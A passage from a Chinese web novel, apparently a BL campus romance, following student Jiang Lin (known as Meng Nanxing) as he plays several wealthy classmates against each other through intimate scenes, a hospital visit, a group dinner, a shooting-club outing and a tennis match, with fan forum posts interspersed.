傅清池便不再亲他了,给他脱掉外套,像是照顾小孩似的,“手抬起来。” 毛衣被脱掉,里面还有一件薄薄的白色贴身打底,傅清池暂时没脱,他蹲下身给他解开扣子,然后拽下他的牛仔裤,脸色如常地道:“脚抬起来。” “哦。”江林应了一声,手扶在他肩膀上,垂眼看着蹲在他面前的高大男人,好玩似的踩在他膝盖上,穿着白袜的脚,纤细的小腿,他轻轻用力将傅清池半蹲的膝盖踩了下去。 膝盖磕在地上,傅清池抬头看过来,眉心蹙着,视线掠过他眉眼间恶趣味又顽劣的微笑,少年丝毫不觉得自己做了什么不对的事情,歪着头笑着和他对视。 傅清池心中缓缓一沉,浑身蔓延起点点羞耻感,心神都荡漾起来,轻轻抓着江林的小腿,克制攥了攥,掌心滚烫,手背上青筋都缓缓凸了凸,极力地忍耐,心中防线渐渐松动。 然后江林就看见傅清池那样一个深厚又冷静的人,缓缓地落下另外一个膝盖,双膝跪在他面前,虔诚地仿佛在跪拜自己的神明。 江林知道像他们这样的人有多么自傲的灵魂,但看着骄傲的灵魂臣服,这是他为数不多的乐趣之一。 “这只脚。”傅清池不懂自己受到了什么蛊惑,才会让自己做出这样的举动。 如果从前有人告诉他,他会双膝如同仆人般跪在一个人脚下给他宽衣解带,他一定会骂那人神经病。 但是他现在偏偏这么做了,甚至江林没有开口说一句话,他就是想要顺着他。 也许在傅清池眼中,江林还是一个小孩儿,所以照顾着他没有毛病,但话说回来,如果是真是小孩儿,两人刚刚亲得那么忘我,傅清池也算是犯罪。 江林的牛仔裤落在地上,傅清池又亲手给他脱掉了袜子和短裤,上衣内衬是最后脱的,怕着凉,他缓缓站起身来,视线回避着,低着头道:“去浴室吧,别感冒了。” 江林看了他一眼,很安静,他站着没动,只是直直看着回避视线的傅清池,直到傅清池感觉气氛不对,朝着他看过来,两人目光对视上,江林才缓缓笑着说:“好的。” 他慢吞吞地走进浴室,里面没有浴缸,干湿分离,窗户紧闭,傅清池跟在他身后,崔嘉树还是在他身上留下了痕迹。 水声响起,傅清池衣服全部被打湿了,黏糊糊地粘在自己身上。他无暇顾及这些不适,像是照顾小孩似的,给江林洗澡,泡沫在他光滑的肌肤上打转,白色泡沫随着温水冲洗露出被热得有些粉红的肌肤,水不算热,但江林的肌肤敏感,所以也被烫红了。 江林看着像是落水狗般的傅清池,外面人人礼让三分的傅清池,此刻狼狈地站在他面前,双眼深藏宠溺故作冷静。 江林伸手接过他手上的花洒,让热水淋在自己肩头,他凑近傅清池,湿漉漉的眼睛看着他:“学长,帮帮我吧,崔嘉树的味道洗也洗不掉,好烦。” 江林主动亲了亲他的嘴,眼尾被湿意晕染泛着胭脂的红,傅清池心弦一颤,喉结无措地滚动了一瞬,虽然知道江林说的这些话都是无稽之谈,他身上干干净净、没有任何别人的味道,但还是顺着他的想法做了。 当双膝落在被温水打湿的大理石上,傅清池心中的抗拒又少了几分,似乎有些习惯就这样待在江林面前 刚出急救室的崔嘉树并不知道自己辛辛苦苦留下的痕迹,被另外一个男人飞快抹除,耳边传来一些嘈杂的声音,让他意识逐渐清晰,模糊间听见:“失血过多伤及神经救助不及时” 太累了,最终崔嘉树没有睁开双眼。 秦锐清在病房门口挡住了气冲冲的李炎诞,冷着脸提醒他:“这里是医院?你想干什么?” 李炎诞脸上是气急败坏的神色,恨得牙痒痒,对秦锐清也没什么好脸色:“我来看看崔嘉树这个疯子死了没有没死的话,我再补两刀。” “怎么?你真的要杀了他吗?”秦锐清声音很冷淡,“如果你真的要杀,我不会拦着你,但是如果你只是一时之气就算了。” 李炎诞当然不是真的要杀人,大庭广众之下,他还没有做这么蠢。 秦锐清看他勉强稳住情绪,才低声开口:“你现在还和孟南星住在一起?” 李炎诞瞬间像是触及关键词的机敏雷达,眼神瞬间警惕起来,“你想干什么?小孟现在可是很讨厌你的。” “”秦锐清没什么表情,问他:“你知不知道他和傅清池关系匪浅?” 李炎诞微微瞪大双眼,显然受到了不小的冲击,喃喃出声:“什么?谁和谁?” 他们明明是八竿子打不着的关系。 “他不光讨厌我,他也恨崔嘉树,但你觉得他喜欢你吗?李炎诞?”秦锐清话说的直接,直击痛点。 今晚对于李炎诞来说冲击不小,不是单单因为崔嘉树和江林上床了,还因为江林展示出来的强势和冷漠,与他从前见他的模样太不同了,仿佛变了一个人,或者说从前的他只是在虚与委蛇。 “他有没有可能是傅清池的人呢?”秦锐清提出这个疑问:“故意挑拨我们关系像坐收渔翁之利” 李炎诞沉默不语,他和傅清池是有正面且直接的矛盾的,一起抢过生意,互相套麻袋互殴,如果江林是他的人,那他真的从头到尾都是在把他当成狗玩。 李炎诞想到这个可能,脸色陡然变得很差,整个人陷入在阴影中,医院的走廊的确显得阴冷,让他控制不住地打了寒颤。 站在原地很久都没有动弹,一腔热血还是冷了下来 同样的话,在崔嘉树清醒的早晨秦锐清也对他说了,却得到了截然不同的回答。 崔嘉树手上输着液,脸色惨白,毫无血色的唇却勾起一抹笑,感叹似的说道:“这样啊,那太好了。” “如果他心怀不轨,带有目的,那真的再好不过了。有什么是傅清池能给他的,我不能吗?” 崔嘉树声音有些发虚,轻飘飘地在空静的房间里响起,看着秦锐清那张冷淡的脸庞,眼底滑过真切的笑意:“老秦,何必用这些借口来掩饰宝宝对你的吸引呢,像他这样的人,没人能逃得开的” “你应该知道,我这人最大的优点就是分享,如果你想加入我们,我一直都是拍手欢迎的宝宝真的很香。” 秦锐清拧起眉头,看着病床上虚弱至极男人,他的棕色桃花眼痴迷地弯了弯,仿佛那个将他手废掉的少年是个多么优秀的恋人。 “你的右手治不好了,以后不能再提重物。” 崔嘉树只愣了一秒,唇角弧度更深了些,看着纱布包裹的手,“这是我入场券。” 秦锐清是正常人,不能理解他的疯狂,因为就算是他们这些万财万贯,从小生活在繁华罗马的天之骄子,若是留下残疾也是一件大事,可能会沦为弃子。 豪门争权,有时候也堪比九子夺嫡,除非是像李炎诞这种,家中父母恩爱,毫无嫌隙,只需要继承“皇位”的独子。 “你应该去看看神经科。”秦锐清不冷不淡地说道,出于从小的情谊提醒他:“傅清池在派人监视你父亲,你想做什么最好狐狸尾巴藏好一点。” 崔嘉树却毫不意外,他根本不在乎他父亲的死活,就像他们也从未管过他一样,礼貌地笑了笑:“谢谢秦哥的关心,但是没关系,我烂命一条,死了就死了。” 秦锐清:“” 他不想再继续和这个神经病说下去了。 秦锐清原本在公司熬夜加班,收到手下传来的消息,才赶来医院,一直待到崔嘉树醒来才离开。 他回到自己的公寓,刚入玄关,就听见小猫喵喵奶乎乎的叫声,半岁大的小白猫不大不小,还是鸳鸯眼的小矮脚,听见他的声音,脸就蹭了过来,黏人得很,他裤子上常常染上它的小白毛。 秦锐清走到哪,它就跟到哪儿。 是江林之前在路上捡的那只,现在被养得白白胖胖,非常亲人。 他坐在沙发上,点了根烟,低头看着脚边的白猫,一整夜未合眼,精神虽然还是维持在一个高度兴奋的状况,身体却已经很疲惫了,他揉了揉眉心,脑海中突兀地出现少年脱下外套抱着小猫的场景。 如果他真的是处心积虑接近他们,就不会废了崔嘉树的手,也不会放弃无数次可以接近他的机会。 但现在被逼急的少年,可能真的会朝他们露出獠牙。 这些天他每天都能收到江林的消息,一直没有出现在他面前,也许转专业这件事,对于江林来说的确是一件很重要的事情 或许他应该给他一些补偿 那天他怨恨的神情,依旧记忆清晰。 秦锐清头有些疼了,他随着烟入肺腑,清醒了一瞬,明知道江林现在目的并不单纯,甚至他的第六感在告诉他前面是陷阱,可他还是控制不住地想要往里钻啊。 真的很荒谬,他说崔嘉树是神经病、疯子,自己何尝不是一个敢以身试险的冒险者? 江林从傅清池的客房醒来,因为周末他的闹钟没响,睡了一个长觉,神清气爽,这段时间压抑的精气神都像是补充了回来,昨晚他和傅清池并未进行到最后一步。 傅清池认为他还是小孩儿,那他也乐意装嫩,不遗余力地使唤着这位“老人”,几乎是被伺候着穿衣洗脸喝水。他哄他睡完觉,就回了自己的房间,也许傅清池的心里还在自欺欺人地认为这只是在照顾小辈吧。 江林洗了一把脸,随意地从衣柜里拿出衣服套上,出门看见傅清池正坐在椅子上喝茶,手上拿着一个年代感十足的报纸,穿着一件老气横秋的夹克衫,只差一副老花镜就可以和他老家公园里跳广场舞的大爷们一样一样了。 “早餐在保温箱里。”傅清池放下报纸,看向他。 江林揉了揉眼睛,“哦。” 傅清池视线扫过他赤/裸的脚踝,转身去自己卧室找了一双长袜,放在他旁边的椅子上,说:“袜子在这儿。” “嗯。”江林吃着糯米鸡和红米肠敷衍地应了一声。 傅清池见他没在意,站在他身边犹豫了几秒,还是坐了下来,拿起袜子,拍了拍他的腿,“抬起来。” 江林抽空朝他看了一眼,也不客气,转身抬脚踩在他腿上,“谢谢哦。” 傅清池握着他伶仃单薄的脚踝给他穿袜子,动作还算娴熟,手掌拂过他白皙的脚背,给他穿好袜子,去厕所洗手之后,给他盛了一碗粥。 江林吃饱喝足,心情很好地笑弯了眼:“谢谢学长的款待。” 傅清池看着他疏离的笑容,也算发现了他的一些习惯,晚上那些“意外”都是晚上的事情,白天他是积极向上的好学生,和男人保持着安全的距离,眉眼间没有半点暧昧的神情,一点余地都没留。 “等下给你一点东西。” 江林下了车,表情隐隐有些崩溃,笑容维持不住,手上拿着傅清池给他整理的破产案例,让他下周给他一一做好案例分析,还需要整理成PPT发到他邮箱。 算是他给他安排的工作。 那能怎么办,手机到账五万块钱,他给自己这个月的工资。 对傅清池来说已经算很少了,但对于一般的普通人来说,一个月五万,可能想都不敢想。 江林回到宿舍,开门便是冲鼻的烟味,地上布满了烟头,江林下意识地往后退了半步。李炎诞以一种非常颓废的姿势坐在凳子上,不知道又在装什么忧郁男神。 他关上门,像是没瞧见他的失落的状态。 李炎诞却双眼通红地看着他,精神状态堪忧,像一头走投无路的狮子,他声音沙哑带着质问:“昨晚你为什么没回来?” “在朋友家睡。”江林平静地回答,有一种一拳打在棉花上的无力感。 “哪个朋友?傅清池吗?”李炎诞又问。 江林似乎有些惊讶他的聪明,“对。” 随着他的话音落下,李炎诞把自己手边的玻璃杯狠狠砸在地上,碎片四溅,他像是控制不住自己的失控的情绪,暴怒地站起来,一把抓起江林的衣领,冲着他低吼:“你和他什么关系?你他妈的故意耍我吗?” 李炎诞其实很少有这种失控的情绪了,虽然书中一直都描写他是易怒的超雄,但江林手上像是有一把无形的枷锁,之前都牢牢锁在他身上,有气也是不敢对江林撒的。 “你又要打我吗?炎哥。”江林没有挣扎,有些失望地看着他,漂亮的眉眼间有些淡淡的伤心,声音很轻不像是质问,却非常有力量。 李炎诞顿时失去了所有的力气,心弦一颤,再大的怒火也被这句话弄没了,暴躁易怒的狮子,被稍稍顺毛,便乖乖地摇起尾巴来。 “你知道我和傅清池”李炎诞欲言又止。 “你和学长有矛盾吗?”江林露出一点疑惑的神情,他随口胡诌:“学长今年寒假去了我们县里,资助我上学,算是我的恩人。” “他资助的学生不止我一个。” “我给你的钱,你都不要”李炎诞又开始红眼眶了,声音拔高了几分:“你把钱还给他,我给你。” 江林摇了摇头,拽开他的手,“无缘无故,我不要。” 李炎诞又开始急了,捉住他的手腕,“能不能不要和他来往了,他是个坏人。” “哈,炎哥,能不能不要这么幼稚啊,我不会因为你们有矛盾而疏远你,也不会因为你的要求而疏远学长的。”江林语气软,哄小孩儿似的。 李炎诞被他好言软语地哄了两句,便找不着北了,甚至都没怀疑如果只是资助关系,为什么江林会在他家留宿呢。 他也不敢说他昨晚一直躲在衣柜里看他和崔嘉树,想要说什么,又不能说,最后急得抓心挠肺的。 江林看出了他的欲言又止,却装作不知 学校的处理结果在十天之后才姗姗来迟公布,让江林有些失望的是崔嘉树没有被开除,而是留校察看,被开除学生会的身份,因为崔家又捐了一大笔钱用于实验器材的换新和购买。 但网上的舆论却很不满意这个结果,泼天的网曝开始,崔嘉树这个名字算是被钉在了耻辱柱上。南榕大学内部也开始警告这些富二代不要再做出任何过激的行为,暂时让普通学生有了喘息的机会。 “哇,好厉害!!孟南星!!” 当一球结束,观众席从原本的万人肃静,到高声喝彩,只需要一秒钟。江林和赵云月参加了学校举办的网球混双比赛,现在是预赛阶段,这是江林比的第三场,前两场都赢了。 他原本是没想参加的,但被教练赶鸭子上架,因为原本准备参加混双的两人,是情侣现在分手了,不愿意上。 而商学院能够拿得出手过两招的混双,也只有江林和赵云月。 像这种比赛,各个学员之间格外地团结,就像是班级举办篮球赛一样,大多数肯定都是支持自己班的,更何况江林最近算是商学院的风云人物。 一时间连这个往年无人问津的网球比赛都举办得热火朝天,每场人数爆满。 观众席的中间赫然坐着崔嘉树和李炎诞,李炎诞臭着脸,眉头一刻也没松开过,没有和旁边的“好兄弟”说一句话。 崔嘉树则是脸上带着浅浅的微笑,右手带着薄薄的皮革手套,任由视线打量,坦荡非常,犹如网上议论纷纷的人不是他。 网球这项运动很考验体力和毅力以及技术,可观赏性还是很高的,江林穿着白色短袖黑色运动短裤,额前带着红色的发带,手腕上同样色系的护腕,江林肤白很适合这种艳色系的打扮,衬得容貌艳丽了几分,阳光朝气。 裙摆飞扬,赵云月和江林配合得很好,两人在网球场上仿佛最佳拍档,干脆利落地转身,迅速地搏杀,只需要一个眼神就能读懂彼此的绝佳默契,特别是两人那张赏心悦目的脸,更是这些人这么热情的原因之一。 网球训练很多时候在太阳下暴晒,对面对手也许都成为了健康的小麦色,而江林两人还是唇红齿白,仿佛未经风霜的小白花,实力却不容小觑,这一场直接干进了决赛。 预赛结束,江林和赵云月手握在一起,情绪趋势紧紧拥抱在一起。 “好耶,我们赢啦!!”赵云月笑眯眯地说道,有些兴奋地抱紧他。 李炎诞见状直接从两米高的观众席上跳了下来,凑到江林跟前,却没敢发火,手里拿着一瓶水,问:“渴不渴?要不要喝水?” 赵云月被吓了一跳,对李炎诞有一种情敌的既视感,没说话。 江林从他手上接过水,拧开瓶盖,然后递到赵云月跟前:“喝吧。” 赵云月看见李炎诞铁青的脸,心情舒畅地喝了一口,眼神轻飘飘的带着一丝挑衅。 以从前李炎诞的脾气,拳头已经挥出去了,但现在他只是默默地握拳。 崔嘉树也从观众席走下来,脸上带着温柔的笑容,双眼弯弯。前两次他都是看完比赛就走,这次却走了过来,瞬间赵云月和李炎诞都变成了一级防备状态。 “辛苦啦,一起去吃饭吧。”崔嘉树递给江林运动饮料,毫无危害的笑容望着他。 江林却浑然不在意他的态度和意图,接过他的饮料,并不再对崔嘉树报以额外敌对的态度,询问赵云月的意见:“小月,你去吗?” 若是一直和崔嘉树针锋相对,也许他还能做出更让人瞠目结舌的事情,而且另眼相看,也太给他画面了吧,现在他只需要静静等待。 李炎诞瞪向崔嘉树的双眼猛地转头看向江林,等下,他们不是互相看不惯吗? 赵云月咬了咬唇,虽然不太愿意和他们一起吃饭,却也不想江林单独和他们,咬牙点头:“好,庆祝一下。” 江林没问李炎诞的意见,回答崔嘉树道:“走吧。” 崔嘉树这才温和道:“我还约了老秦,大家一个寝室,好久没一起聚了。” 李炎诞脑袋像是拨浪鼓似的摇来摇去,又转到了崔嘉树这边,眼睛瞪得像铜铃,无法理解,为什么崔嘉树明知道秦锐清也是情敌,而且不是好人还要约他。 但其实崔嘉树一直都不太介意江林身边有别人,只是他身边必须要有他 【#今天崔少成功了吗#】 3490楼:!!最新报道,崔和孟一起去月食阁吃饭了!同行的有zyy、lyd、qrq!!这是什么终极修罗场?! 3491楼:我能蹲在他们桌子底下听吗? 3492楼:我的妈呀,这是要世纪大和解吗?救命了哈哈哈,为什么我好兴奋。 3493楼:这是要乱成一锅粥了吧,大家趁热喝了。 3494楼:【图片】【图片】先欣赏一下我宝宝的绝世神颜吧,我真的很少看见有人打网球都能这么帅,现实版网球王子!!感觉宝宝流的汗都是香的!! 3495楼:哈哈哈,MNX也是真的火了 第37章 这真的是一个相当奇怪又混乱的场景, 李炎诞以为几人在一起会是一种非常剑拔弩张的气氛,但却意外的平静,甚至算得上融洽, 除了他整个人像是有蚂蚁在身上爬一样难受。 江林和赵云月随意地冲洗了一下,换上了干净的衣服。 赵云月坐在江林右手边, 李炎诞先发制人坐在他左手边,崔嘉树没和他抢,落座之后把菜单递给他们, 非常绅士地让他们先行点单:“老秦,还要两分钟才能到。” 江林顺手将菜单递给赵云月, 让女士优先,对于秦锐清的到来没有发表任何看法。 李炎诞却忍不住问道:“不是,你为什么喊他来啊,你不知道” 他用眼神瞄了一下江林。 崔嘉树微微一笑,他用左手给李炎诞倒了一杯茶,眼底带着点歉意:“大家都是一个寝室的, 何必闹得那么难看?” 李炎诞撇了撇嘴, 不吃他这一套。 “想吃什么就点, 不用担心。”江林低声在赵云月耳边缓解她有些紧绷的情绪,能看得出来她是有些害怕崔嘉树的, 只是在强装镇定。 赵云月笑了笑, 没辜负他的好意,随便点了几个菜,江林看了一眼补充一个自己喜欢吃的鸡肉, 便没有再开口。 李炎诞洋洋洒洒点了一长串,像是报菜名似的,江林都怀疑这个桌子是不是放得下。 圆桌很大, 是旋转的,李炎诞却紧贴着他坐着,崔嘉树隔开了一点,他主动开口:“星星和赵同学打算参加市里面的比赛吗?” 市里面组织的大学生网球比赛,是各个大学之间的比拼,奖金颇为丰厚。 赵云月没回答他的话,江林喝了口水,说:“不了吧,能够完整打完这次比赛就不错了。” 网球比赛不管是比赛还是训练都非常地浪费时间和体力,比赛玩一玩就算了,真的正规去比赛,他真的没想过。 “这样,那就好好享受这次的比赛吧。”崔嘉树自然地说道,他维持着礼貌地温和。 包厢的门打开,头发梳得一丝不苟、西装革履的秦锐清出现在众人面前,他身后还跟着助理,视线第一时间和江林对上,江林不闪不躲,没有很明显地情绪外露。 他将臂弯中的外套放在椅子上,很淡地说道:“抱歉,来晚了。” 这里面只有崔嘉树在和他搭话:“不算晚,菜都没上呢。” 秦锐清朝着他点了点头。 这是几人第一次聚在一起吃饭,没有火花四溅的火药味,也没有针锋相对地互骂声,相反很平静。崔嘉树微笑温和,秦锐清虽然冷淡却句句有回应,江林也是非常平静地和他们交谈。 赵云月吃了口牛肉压压惊,很怀疑自己是不是因为受到论坛的荼毒太深了,以为这几人聚在一起应该是会拿枪火拼才对,可是没想到这么平静,甚至可以用有说有笑来形容。 当然这里面除了李炎诞。 李炎诞对谁都没有好脸色看,大少爷脾气尽显,只有江林和他说话的时候,他才低头认真听。 “你们不用等我,我去一趟洗手间。”江林起身,拿起手机去了洗手间。 崔嘉树便笑着看向赵云月:“赵同学,想喝什么饮料吗?” 赵云月见他笑眯眯的样子,心中依旧戒备,面上自然地回答:“椰汁就可以。” “好的。”崔嘉树问:“你和小星一般在什么地方训练呢?” 赵云月还没回答,秦锐清的助理敲了敲门,示意了一下他。 秦锐清起身出了包厢,李炎诞瞪着他的背影,一股脑站起来,就要跟出去,下意识地感觉有些不对劲。 崔嘉树抓住他的手腕阻止了他的动作,温声道:“小炎呢,你想喝什么?” 江林坐在马桶上,无聊地刷着手机,两道男声突兀地出现,窃窃私语,但卫生间较为封闭,谈话声清晰可闻。 “没想到会真的在这里碰见他们。” “论坛不是都说了嘛,崔嘉树他们在这边吃饭” 江林以为又是对他“感情生活”的一些探讨,不准备理会,但接下来他们的话题主角却变成了其他人。 “你刚刚看见的那个秦锐清” “是他啊,我听别人说,他妈从前是交际花呢,跟过很多人,他爸是接盘侠,所以秦锐清出生的时候还做了亲子鉴定” “真的假的啊?” “当然是真的,你现在去问你爸妈,知不知道金海市花是谁?可能你爸都和他妈睡过” 经常有人说女人八卦,但不知道的是男人有时候八卦起来也没差多少,甚至他们嘴巴更不干净,满口黄腔却意识不到自己的问题。 还喜欢用一些话来贬低比自己身份更高的人,试图将他拉下神坛,变得和自己一样没什么了不起。 江林的冲水声让两人的话戛然而止,他在最里面,算是死角,他们都没注意,这下两人顿时噤若寒蝉。门打开,他们口中的主角出现在众人面前。 是两个样貌清秀的男生。 江林面色如常地走到两人身边,脚步微顿,看向两人:“我觉得侮辱、诋毁别人死去的母亲是一件很没礼貌的行为,你们觉得呢?” “一般有素质的人都不会这么做。”江林讨厌秦锐清,却不赞同诋毁他的母亲的行为。 两人低着头,有种做贼心虚的感觉,也不狡辩,小声地道了歉:“对不起,对不起” 江林洗手的时候,听见两个少年的匆匆脚步声停住,声音震颤喊秦哥。 出门一瞧,就见秦锐清面前跪着两个人,正是刚刚乱嚼舌根的人,好像几人还认识呢。 江林没有再继续管,回到包厢,秦锐清姗姗来迟,两人没有对视。 “星星对射击感兴趣?”崔嘉树现在都是用左手拿筷子吃饭,他在最短的时间里适应了左手,看着吃到好吃的,眉眼间惬意轻松的少年,提议道:“商圈这边就有一个俱乐部,小炎家开的,要去玩玩吗?” 因为刚刚几人聊到,小时候江林在老家用弹弓打鸟的事情。 江林很喜欢这道羊蝎子,这让他心情还不错,他看了一眼赵云月。 “你去,我就去。”赵云月回答。 李炎诞脸色更黑了,到底有没有人问过他的意见? “那去玩玩吧。”江林便答应了下来,没有和他们一直保持着一种高度紧张的关系,该有的锋芒都已经展示,他们三也不会再认为他是随便招招手就能玩的玩意儿,自然没必要将人逼急了。 李炎诞见他答应了,唇角微微弯起,又克制地下压。 一行人简单地用完餐,直接去了聚潮俱乐部,一个俱乐部占据了大厦十几层,有射击、电游、棋牌、台球、保龄球等等,只有没玩过的,没有这里找不出来的。 还没进门,听着信的经理就已经迎上来了,照顾着自家太子爷,眼神更是在江林身上不着痕迹地打量了几眼,没办法太子爷公开出柜的事情闹得挺大的。 人来人往,正好又是周末,形形色色的人应接不暇,上至六十岁老人,下至三岁小童,都能在聚潮找到一款合适的娱乐。 “想玩什么?”崔嘉树和秦锐清也是有高级会员卡的人,他问了一声。 “随便。”江林这里面音乐声不大不小,正合适,可以适当挑起人兴奋的神经,但又不会让人过度兴奋制造出什么麻烦。 “先不是说想射击吗?”李炎诞开口道,引着他过去:“想试试活靶还是定靶?” 江林将枪拿到手中,沉甸甸的手感,很有真实感,他带好装备,见其他几人全盯着他,不由觉得好笑:“看着我做什么?” “你先玩儿,我现在玩不动这些了。”崔嘉树站在他身后,右手还带着黑手套,语气和神情都没有半点悲伤或者失落,像是只是在坦白自己手残疾的事实。 秦锐清听到这话,扫了一眼虎视眈眈李炎诞,便自顾自地离开了这圈,赵云月理了理头发,回答:“我看你打一圈,我再去玩。” 江林抬起手,瞄准灵活移动的小人靶子,双眼专注,身上那股凌厉的气质乍现,几乎是枪枪爆头,手被枪的后坐力震得有些生疼。 “好厉害。”赵云月惊讶鼓掌,那模样像是看见自己男朋友中奖了似的。 江林换了弹夹,不甚在意地说道:“只是运气好。” 崔嘉树很难相信他说的运气好,这种准头如果不是多年训练,根本不可能。 但他一个普通学生不太可能多年专业训练吧?难道弹弓打鸟的训练效果这么显著? 赵云月看了有些手痒,去找了一个3D射击游戏玩,李炎诞正在不远处和经理说着什么。 崔嘉树走上前,站在他背后,微微弯下腰,声音在他耳畔响起:“宝宝,好厉害,不会把靶子里的人当作是我来射了吧。” 他咬字有些暧昧,一语双关,嗓音微哑。 江林泰然不动,近在咫尺的低语,没有让他的动作有一分的犹豫和颤抖,只剩下最后一颗子弹,他抬手对准了崔嘉树的额头,护目镜下的双眼微凉,问他:“你信不信我打爆你的脑袋?” 崔嘉树笑着后退了一步,举手投降,微笑道:“我信,宝宝最厉害。” 两人这一幕被迅速抓拍,很快就被发到论坛上。 【#今天崔少成功了吗#】 4631楼:【照片】【照片】来来来,兄弟姐妹们最新消息,孟和崔新鲜出炉的照片,在聚潮,这是在玩什么最新的play 4632楼:但是这张照片好有感觉啊,暗色光影下,他们两个颜值太突出了,崔脸上宠溺温柔的笑,孟看着温良可欺,但实则是拿着枪更加攻击性的那个。别这样,虽然孟宝宝表情很凶,但我真的觉得有点可爱啊。 4633楼:超绝S,主人中的主人,宝宝中的宝宝!我真的有点爱上他了,上次我和他一起进行话剧表演,他真的很温柔。其实是一个很容易脸红的宝宝,肯定是被天杀的崔逼急了,才会动刀动枪的。 4634楼:确实,他上次在路上遇见他,我校园卡掉了,他还提醒我捡,是个好宝宝。 4635楼:只有我发现了照片角落的李炎诞快急死了吗? 也是随着这张照片被拍完,下一秒李炎诞就已经直接冲了上来,一把将崔嘉树扯开,挡在江林跟前,瞪着他:“你想干什么?” 对于他这种过激的护犊子行为,崔嘉树被推得一踉跄,脸上笑了笑好脾气地回答:“没什么,只是在开个玩笑。” 江林转身脱下身上的装备,去玩保龄球,不想因为他们浪费一点时间。 随着江林的身影消失,崔嘉树的笑容越发深了,他和李炎诞擦肩而过的时候,不轻不重地道:“紧张什么?当一辈子舔狗,你也舔不明白,李炎诞。” 李炎诞瞬间像是点燃的炮仗,一把抓起崔嘉树的领子,瞪着他看他,扬起的拳头却被经理一把抱住,在他耳边苦苦哀求:“少爷,别闹事,住手啊,李总会来抓人的,您谨言慎行啊。” 李炎诞来聚潮玩的消息,早就传到了李炎诞他爸李延成耳中,三令五申命令他不准闹事。 崔嘉树弯了弯眸,根本不挣扎,棕色眼底闪过轻蔑,轻声道:“没用的东西,那晚如果你不是捡漏了我的机会,你可能连被宝宝上的机会都没有。” “没断奶的小朋友,你回去找妈妈喝奶吧。” 经理恨不得割掉自己的耳朵,他们敢说,他都不敢听啊。 什么鬼平和,什么气氛融洽,都他妈的是假象。 背过江林的面,崔嘉树本性就暴露了出来,他这辈子大概都不会忘记,李炎诞背刺他的事情。 李炎诞气得不行,但被两个大汉抱住了肩膀,根本办法动手,甚至直接被拖了下去,崔嘉树整理了一下衣襟,冲着面红耳赤的李炎诞露出一个淡淡的挑衅微笑。 李炎诞前脚刚走,秦锐清后脚便上前一步,“你干嘛要激怒他?” “不激怒他,你哪有机会?”崔嘉树将自己有些凌乱的手套整理了一下,客气地说道。 “不是要道歉吗?去吧。” 秦锐清顿了一瞬,“谢了。” 江林在人群中,正看着自己的积分,远远落后于旁边的选手,倒也没想过要打出一个什么厉害的成绩,只是随便玩一玩。 秦锐清站在不远处,没有打扰他的兴致,看着他舒展身躯,换上了针织毛衣,抬首间露出一小截白皙的腰线,轰隆的滚球声,伴随着机械的祝贺声。 “Christmas tree!” 江林抬头往旁边看去,有人打了圣诞树,同时他转头的时候,也发现了秦锐清,他没有再继续玩,往垃圾桶的方向走去。 秦锐清跟了上去,江林嚼着刚刚小朋友给他的口香糖,顺便扔了一下纸巾。 “孟南星。”秦锐清叫住他。 这处人比较少,最后两条保龄球道,江林抬眼看着他,“怎么?” 没多少人注意这边,江林的态度也不冷不热,看不出来好坏。 “”秦锐清有些措手不及,因为他以为江林会对他恶语相向,毕竟当时可是扔下狠话的。 “今天的事情谢谢你。” 江林面无表情嚼着口香糖:“这没什么。” “上次转专业的事情,算是我的错,我给你赔礼道歉,准备了礼物,在车上”秦锐清用平缓的语调说着。 江林看着他的表情,眼底毫无愧色,只是因为他生气,所以才会做出补救,他并不认为自己错了,就算再来一次,他还会是同样的选择。就像是自家小猫生气了,想给他一个罐头哄好。 “不用,秦哥,没必要。”江林拒绝了他的礼物,也不接受他的道歉:“我很难说服自己原谅你。” 江林是任务者,所以对于这件事情不痛不痒,但如果江林就是这个小世界的普通人,幸幸苦苦一个学期,每天起早贪黑地学习,就是为了转到自己喜欢的专业。 那秦锐清的做法和阻人前程有什么区别?所有的努力都变成了泡影。 秦锐清眉头微微蹙起,在他看来,他都给江林递台阶了,他不应该顺着下来吗?他连崔嘉树都原谅了 他看着江林冷静的眉眼,在小县城里那个温柔提醒他不要上当的少年,现在面对他都是客气和疏离。 “我现在拿你没办法,所以你也没必要和我道歉,以后只要别出现在我面前就行了。”江林摊了摊手,吐掉自己口中的泡泡糖,旋即转身离开。 秦锐清眉头拧得更紧了,双眼不解,手机震动得厉害,他接起:“小秦总,您姐姐回国了。” 江林玩得尽兴,一直到晚上十一点才回宿舍,李炎诞半路不知道去哪了,应该又被他爸妈叫走了。 崔嘉树让司机先送赵云月回宿舍,赵云月一步三回头,那眼神依依不舍,满含担忧,生怕江林以身饲虎。 江林把窗户降下来,朝着他挥了挥手,眉眼温柔:“晚安,小月。” 赵云月看着原本坐在副驾驶上的崔嘉树到了后座,阴影中他的脸出现江林背后,路灯下只能瞧见他唇角虚伪假笑的弧度,她心底一抽,差点又要回到车里。 但是江林直接把窗户升上去了,车引擎启动,往前面驶去。 江林回头看了一眼把他窗户升上去的罪魁祸首,崔嘉树手轻轻覆在他手背上,“那么恋恋不舍,也不能住进去的。” “宝宝今天玩得开心吗?”崔嘉树摘掉了右手的手套,醒目的伤疤,粉红色的,像是新长出的血肉。外伤好了,但他这只手简单端起一碗汤都会觉得吃力,好在指腹的触感还是很清晰,能够感受江林的体温。 “还行吧。”江林舒服地靠着,打了个哈切,被崔嘉树的手轻轻握住,能够感受到他右手用力的无力颤抖感,就算竭尽全力也不能对他造成任何的威胁。 “你手上的伤好了吗?”江林瞥了他一眼,睫毛微微垂着,像老朋友般询问着。 崔嘉树认真地回答:“外伤已经好了。” “嗯,恨我吗?”江林问他。 “怎么会恨,我自己的选择罢了。”崔嘉树轻轻握紧了江林的手,像是普通伴侣般牵着,手心在隐隐发烫。 江林有时候真的蛮佩服崔嘉树的,如果是他被人废了手,势必让他不得好死。 车停下,崔嘉树握着他的手没动,主动开口道:“我不上去打扰你休息了。” “但我觉得我今天做得还蛮不错的,不考虑给我一个吻吗?” 崔嘉树以为他背地里那些小动作无人知晓,江林现在只想快点回去洗澡睡觉,不欲和他继续纠缠,抬手拽着他的头发,将人拉近了些,轻笑一声:“好狗,继续保持。” 江林的吻轻轻落在他唇角,崔嘉树呼吸一窒,闻到了他身上独特的香味,心脏跳动得异常剧烈,眨了眨眼,眼圈都热了。 “再见。”江林没管他情绪多么激动,下车回了宿舍,留下一个潇洒的背影 